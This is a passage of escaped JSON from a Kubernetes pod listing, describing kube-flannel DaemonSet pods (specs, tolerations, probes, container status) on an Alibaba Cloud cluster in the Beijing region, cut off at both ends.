cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf\"],\"resources\":{},\"volumeMounts\":[{\"name\":\"cni\",\"mountPath\":\"/etc/cni/net.d\"},{\"name\":\"flannel-cfg\",\"mountPath\":\"/etc/kube-flannel/\"},{\"name\":\"flannel-token-pblrl\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"readOnlyRootFilesystem\":true}}],\"containers\":[{\"name\":\"kube-flannel\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"command\":[\"/opt/bin/flanneld\",\"--ip-masq\",\"--kube-subnet-mgr\"],\"env\":[{\"name\":\"POD_NAME\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"metadata.name\"}}},{\"name\":\"POD_NAMESPACE\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"metadata.namespace\"}}}],\"resources\":{\"limits\":{\"cpu\":\"100m\",\"memory\":\"256Mi\"},\"requests\":{\"cpu\":\"100m\",\"memory\":\"100Mi\"}},\"volumeMounts\":[{\"name\":\"run\",\"mountPath\":\"/run\"},{\"name\":\"flannel-cfg\",\"mountPath\":\"/etc/kube-flannel/\"},{\"name\":\"flannel-token-pblrl\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls -l /run/flannel/subnet.env\"]},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":30,\"successThreshold\":1,\"failureThreshold\":8},\"readinessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls -l /run/flannel/subnet.env\"]},\"timeoutSeconds\":1,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":3},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"capabilities\":{\"add\":[\"NET_ADMIN\"]},\"privileged\":false,\"readOnlyRootFilesystem\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"beta.kubernetes.io/arch\":\"amd64\",\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"flannel\",\"serviceAccount\":\"flannel\",\"nodeName\":\"cn-beijing.192.168.0.152\",\"hostNetwork\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.152\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:41Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:51Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:51Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"}],\"hostIP\":\"192.168.0.152\",\"podIP\":\"192.168.0.152\",\"podIPs\":[{\"ip\":\"192.168.0.152\"}],\"startTime\":\"2020-04-08T04:12:29Z\",\"initContainerStatuses\":[{\"name\":\"install-cni\",\"state\":{\"terminated\":{\"exitCode\":0,\"reason\":\"Completed\",\"startedAt\":\"2020-04-08T04:12:41Z\",\"finishedAt\":\"2020-04-08T04:12:41Z\",\"containerID\":\"docker://07a3b26a814dfcdf8643db99e97833487233e3f859b49cf09b80326c3e8c1d3c\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flannel@sha256:db1aa2338757ae61497b2ae72cf4ffda092630e715dcca3f1c801f7ca71b860c\",\"containerID\":\"docker://07a3b26a814dfcdf8643db99e97833487233e3f859b49cf09b80326c3e8c1d3c\"}],\"containerStatuses\":[{\"name\":\"kube-flannel\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:42Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flannel@sha256:db1aa2338757ae61497b2ae72cf4ffda092630e715dcca3f1c801f7ca71b860c\",\"containerID\":\"docker://273680e9106de1bc3f1660839bf2f4e9322d4e0d6f7af77ad56c3f8865b36b8b\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"kube-flannel-ds-fkbtg\",\"generateName\":\"kube-flannel-ds-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-flannel-ds-fkbtg\",\"uid\":\"bf56a35b-0478-4684-8391-0ff7fdc9cb69\",\"resourceVersion\":\"1868\",\"creationTimestamp\":\"2020-04-08T04:12:29Z\",\"labels\":{\"app\":\"flannel\",\"controller-revision-hash\":\"5d9fd8ccf4\",\"pod-template-generation\":\"1\",\"tier\":\"node\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\",\"scheduler.alpha.kubernetes.io/critical-pod\":\"\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"kube-flannel-ds\",\"uid\":\"70b7a644-8470-4500-9408-50e20a4a0bc5\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"run\",\"hostPath\":{\"path\":\"/run\",\"type\":\"\"}},{\"name\":\"cni\",\"hostPath\":{\"path\":\"/etc/cni/net.d\",\"type\":\"\"}},{\"name\":\"flannel-cfg\",\"configMap\":{\"name\":\"kube-flannel-cfg\",\"defaultMode\":420}},{\"name\":\"flannel-token-pblrl\",\"secret\":{\"secretName\":\"flannel-token-pblrl\",\"defaultMode\":420}}],\"initContainers\":[{\"name\":\"install-cni\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"command\":[\"/bin/sh\",\"-c\",\"set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf\"],\"resources\":{},\"volumeMounts\":[{\"name\":\"cni\",\"mountPath\":\"/etc/cni/net.d\"},{\"name\":\"flannel-cfg\",\"mountPath\":\"/etc/kube-flannel/\"},{\"name\":\"flannel-token-pblrl\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"readOnlyRootFilesystem\":true}}],\"containers\":[{\"name\":\"kube-flannel\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"command\":[\"/opt/bin/flanneld\",\"--ip-masq\",\"--kube-subnet-mgr\"],\"env\":[{\"name\":\"POD_NAME\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"metadata.name\"}}},{\"name\":\"POD_NAMESPACE\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"metadata.namespace\"}}}],\"resources\":{\"limits\":{\"cpu\":\"100m\",\"memory\":\"256Mi\"},\"requests\":{\"cpu\":\"100m\",\"memory\":\"100Mi\"}},\"volumeMounts\":[{\"name\":\"run\",\"mountPath\":\"/run\"},{\"name\":\"flannel-cfg\",\"mountPath\":\"/etc/kube-flannel/\"},{\"name\":\"flannel-token-pblrl\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls -l /run/flannel/subnet.env\"]},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":30,\"successThreshold\":1,\"failureThreshold\":8},\"readinessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls -l /run/flannel/subnet.env\"]},\"timeoutSeconds\":1,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":3},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"capabilities\":{\"add\":[\"NET_ADMIN\"]},\"privileged\":false,\"readOnlyRootFilesystem\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"beta.kubernetes.io/arch\":\"amd64\",\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"flannel\",\"serviceAccount\":\"flannel\",\"nodeName\":\"cn-beijing.192.168.0.151\",\"hostNetwork\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.151\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:42Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:52Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:52Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"}],\"hostIP\":\"192.168.0.151\",\"podIP\":\"192.168.0.151\",\"podIPs\":[{\"ip\":\"192.168.0.151\"}],\"startTime\":\"2020-04-08T04:12:29Z\",\"initContainerStatuses\":[{\"name\":\"install-cni\",\"state\":{\"terminated\":{\"exitCode\":0,\"reason\":\"Completed\",\"startedAt\":\"2020-04-08T04:12:41Z\",\"finishedAt\":\"2020-04-08T04:12:41Z\",\"containerID\":\"docker://a2fe681655f7e79a0c7ee942e9a56f9d45d72e5b16631625fd06d14750c3a79e\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flannel@sha256:db1aa2338757ae61497b2ae72cf4ffda092630e715dcca3f1c801f7ca71b860c\",\"containerID\":\"docker://a2fe681655f7e79a0c7ee942e9a56f9d45d72e5b16631625fd06d14750c3a79e\"}],\"containerStatuses\":[{\"name\":\"kube-flannel\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:42Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flannel@sha256:db1aa2338757ae61497b2ae72cf4ffda092630e715dcca3f1c801f7ca71b860c\",\"containerID\":\"docker://fd4ad685db257927caacea7a42cb0745b2d19b16f1e18a47d174263a3da2fe59\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"kube-flannel-ds-fsjhn\",\"generateName\":\"kube-flannel-ds-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-flannel-ds-fsjhn\",\"uid\":\"05b56fcd-04ed-4795-a38c-faf97862045c\",\"resourceVersion\":\"1800\",\"creationTimestamp\":\"2020-04-08T04:12:29Z\",\"labels\":{\"app\":\"flannel\",\"controller-revision-hash\":\"5d9fd8ccf4\",\"pod-template-generation\":\"1\",\"tier\":\"node\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\",\"scheduler.alpha.kubernetes.io/critical-pod\":\"\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"kube-flannel-ds\",\"uid\":\"70b7a644-8470-4500-9408-50e20a4a0bc5\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"run\",\"hostPath\":{\"path\":\"/run\",\"type\":\"\"}},{\"name\":\"cni\",\"hostPath\":{\"path\":\"/etc/cni/net.d\",\"type\":\"\"}},{\"name\":\"flannel-cfg\",\"configMap\":{\"name\":\"kube-flannel-cfg\",\"defaultMode\":420}},{\"name\":\"flannel-token-pblrl\",\"secret\":{\"secretName\":\"flannel-token-pblrl\",\"defaultMode\":420}}],\"initContainers\":[{\"name\":\"install-cni\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"command\":[\"/bin/sh\",\"-c\",\"set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf\"],\"resources\":{},\"volumeMounts\":[{\"name\":\"cni\",\"mountPath\":\"/etc/cni/net.d\"},{\"name\":\"flannel-cfg\",\"mountPath\":\"/etc/kube-flannel/\"},{\"name\":\"flannel-token-pblrl\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"readOnlyRootFilesystem\":true}}],\"containers\":[{\"name\":\"kube-flannel\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"command\":[\"/opt/bin/flanneld\",\"--ip-masq\",\"--kube-subnet-mgr\"],\"env\":[{\"name\":\"POD_NAME\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"metadata.name\"}}},{\"name\":\"POD_NAMESPACE\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"metadata.namespace\"}}}],\"resources\":{\"limits\":{\"cpu\":\"100m\",\"memory\":\"256Mi\"},\"requests\":{\"cpu\":\"100m\",\"memory\":\"100Mi\"}},\"volumeMounts\":[{\"name\":\"run\",\"mountPath\":\"/run\"},{\"name\":\"flannel-cfg\",\"mountPath\":\"/etc/kube-flannel/\"},{\"name\":\"flannel-token-pblrl\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls -l /run/flannel/subnet.env\"]},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":30,\"successThreshold\":1,\"failureThreshold\":8},\"readinessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls -l /run/flannel/subnet.env\"]},\"timeoutSeconds\":1,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":3},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"capabilities\":{\"add\":[\"NET_ADMIN\"]},\"privileged\":false,\"readOnlyRootFilesystem\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"beta.kubernetes.io/arch\":\"amd64\",\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"flannel\",\"serviceAccount\":\"flannel\",\"nodeName\":\"cn-beijing.192.168.0.155\",\"hostNetwork\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.155\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:38Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:46Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:46Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"}],\"hostIP\":\"192.168.0.155\",\"podIP\":\"192.168.0.155\",\"podIPs\":[{\"ip\":\"192.168.0.155\"}],\"startTime\":\"2020-04-08T04:12:29Z\",\"initContainerStatuses\":[{\"name\":\"install-cni\",\"state\":{\"terminated\":{\"exitCode\":0,\"reason\":\"Completed\",\"startedAt\":\"2020-04-08T04:12:37Z\",\"finishedAt\":\"2020-04-08T04:12:37Z\",\"containerID\":\"docker://992cb3ccc8d8befb3f2c889838478e7270d66d0d5e5b2315bd93ea7e2f9fb425\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flannel@sha256:db1aa2338757ae61497b2ae72cf4ffda092630e715dcca3f1c801f7ca71b860c\",\"containerID\":\"docker://992cb3ccc8d8befb3f2c889838478e7270d66d0d5e5b2315bd93ea7e2f9fb425\"}],\"containerStatuses\":[{\"name\":\"kube-flannel\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:39Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flannel@sha256:db1aa2338757ae61497b2ae72cf4ffda092630e715dcca3f1c801f7ca71b860c\",\"containerID\":\"docker://b94f3946e44f89210a14788e570039a8f19cd5fc89b53c5362499f65fa270142\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"kube-flannel-ds-ssx5g\",\"generateName\":\"kube-flannel-ds-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-flannel-ds-ssx5g\",\"uid\":\"edbc982c-c412-43b7-a404-2cf84b5bebde\",\"resourceVersion\":\"1882\",\"creationTimestamp\":\"2020-04-08T04:12:29Z\",\"labels\":{\"app\":\"flannel\",\"controller-revision-hash\":\"5d9fd8ccf4\",\"pod-template-generation\":\"1\",\"tier\":\"node\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\",\"scheduler.alpha.kubernetes.io/critical-pod\":\"\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"kube-flannel-ds\",\"uid\":\"70b7a644-8470-4500-9408-50e20a4a0bc5\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"run\",\"hostPath\":{\"path\":\"/run\",\"type\":\"\"}},{\"name\":\"cni\",\"hostPath\":{\"path\":\"/etc/cni/net.d\",\"type\":\"\"}},{\"name\":\"flannel-cfg\",\"configMap\":{\"name\":\"kube-flannel-cfg\",\"defaultMode\":420}},{\"name\":\"flannel-token-pblrl\",\"secret\":{\"secretName\":\"flannel-token-pblrl\",\"defaultMode\":420}}],\"initContainers\":[{\"name\":\"install-cni\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"command\":[\"/bin/sh\",\"-c\",\"set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf\"],\"resources\":{},\"volumeMounts\":[{\"name\":\"cni\",\"mountPath\":\"/etc/cni/net.d\"},{\"name\":\"flannel-cfg\",\"mountPath\":\"/etc/kube-flannel/\"},{\"name\":\"flannel-token-pblrl\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"readOnlyRootFilesystem\":true}}],\"containers\":[{\"name\":\"kube-flannel\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"command\":[\"/opt/bin/flanneld\",\"--ip-masq\",\"--kube-subnet-mgr\"],\"env\":[{\"name\":\"POD_NAME\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"metadata.name\"}}},{\"name\":\"POD_NAMESPACE\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"metadata.namespace\"}}}],\"resources\":{\"limits\":{\"cpu\":\"100m\",\"memory\":\"256Mi\"},\"requests\":{\"cpu\":\"100m\",\"memory\":\"100Mi\"}},\"volumeMounts\":[{\"name\":\"run\",\"mountPath\":\"/run\"},{\"name\":\"flannel-cfg\",\"mountPath\":\"/etc/kube-flannel/\"},{\"name\":\"flannel-token-pblrl\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls -l /run/flannel/subnet.env\"]},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":30,\"successThreshold\":1,\"failureThreshold\":8},\"readinessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls -l /run/flannel/subnet.env\"]},\"timeoutSeconds\":1,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":3},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"capabilities\":{\"add\":[\"NET_ADMIN\"]},\"privileged\":false,\"readOnlyRootFilesystem\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"beta.kubernetes.io/arch\":\"amd64\",\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"flannel\",\"serviceAccount\":\"flannel\",\"nodeName\":\"cn-beijing.192.168.0.154\",\"hostNetwork\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.154\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:46Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:53Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:53Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"}],\"hostIP\":\"192.168.0.154\",\"podIP\":\"192.168.0.154\",\"podIPs\":[{\"ip\":\"192.168.0.154\"}],\"startTime\":\"2020-04-08T04:12:29Z\",\"initContainerStatuses\":[{\"name\":\"install-cni\",\"state\":{\"terminated\":{\"exitCode\":0,\"reason\":\"Completed\",\"startedAt\":\"2020-04-08T04:12:46Z\",\"finishedAt\":\"2020-04-08T04:12:46Z\",\"containerID\":\"docker://f9a6743f6056c7c58f7cfcea0ab2ad46c9ac83f78670b0153964d4aff82b48be\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flannel@sha256:db1aa2338757ae61497b2ae72cf4ffda092630e715dcca3f1c801f7ca71b860c\",\"containerID\":\"docker://f9a6743f6056c7c58f7cfcea0ab2ad46c9ac83f78670b0153964d4aff82b48be\"}],\"containerStatuses\":[{\"name\":\"kube-flannel\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:46Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flannel@sha256:db1aa2338757ae61497b2ae72cf4ffda092630e715dcca3f1c801f7ca71b860c\",\"containerID\":\"docker://09e161af05eb22861527b8cf4052f2f11ebaed325bb97c4b574a310721bf3ffe\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"kube-proxy-master-bpgdm\",\"generateName\":\"kube-proxy-master-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-proxy-master-bpgdm\",\"uid\":\"764074df-9a67-44e6-a337-c245d51d785d\",\"resourceVersion\":\"35736400\",\"creationTimestam